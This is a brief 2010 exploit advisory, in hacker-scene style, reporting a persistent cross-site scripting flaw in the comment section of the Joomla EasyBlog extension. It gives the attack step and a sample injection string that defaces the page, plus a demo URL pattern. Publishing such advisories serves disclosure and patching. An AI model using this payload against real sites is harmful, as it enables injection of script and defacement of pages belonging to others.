Joomla EasyBlog Cross Site Scripting

`Name : Joomla EasyBlog Persistent XSS Vulnerability  
Date : july 12,2010  
Critical Level : HIGH  
vendor URL :http://stackideas.com/products/easyblog.html  
Author : Sid3^effects aKa HaRi  
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_  
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz  
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Description  
Publishing your blog in Joomla!-based website has never been easier with EasyBlog. Comes with built-in social integrations with Twitter, Facebook Share and Google Buzz, you never, ever have to manually notify your followers for your new blog entries.  
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Xploit: Persistent XSS Vulnerability  
  
This vulnerability exists in the comments section.  
  
1. Goto any post and submit your evil xss script in the comment section :P   
  
Attack Pattern:">><marquee><h1>XSS3d by Sid3^effects</h1><marquee>  
  
DEMO URL : http://<site>/easyblog/entry/uncategorized/2010/07/09/testing-umlaut-charaters.html  
  
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